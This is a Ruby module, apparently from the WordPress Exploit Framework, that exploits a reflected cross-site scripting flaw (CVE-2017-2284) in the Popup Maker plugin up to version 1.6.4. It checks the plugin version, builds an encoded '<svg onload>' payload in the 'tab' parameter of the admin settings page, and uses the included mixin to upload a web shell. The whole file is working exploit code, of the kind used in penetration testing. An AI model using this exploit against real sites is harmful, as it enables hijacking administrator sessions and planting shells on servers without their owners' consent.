# frozen_string_literal: true

class Wpxf::Exploit::PopupMakerReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Popup Maker <= 1.6.4 Reflected XSS Shell Upload',
      author: [
        'Chris Liu', # Discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8878'],
        ['CVE', '2017-2284'],
        ['URL', 'https://jvn.jp/en/jp/JVN92921024/index.html']
      ],
      date: 'Jul 24 2017'
    )
  end

  def check
    check_plugin_version_from_readme('popup-maker', '1.6.5')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'edit.php')
  end

  def url_payload
    url_encode("\"><svg onload=#{xss_ascii_encoded_include_script}>")
  end

  def url_with_xss
    "#{vulnerable_url}?post_type=popup&page=pum-settings&tab=#{url_payload}"
  end
end
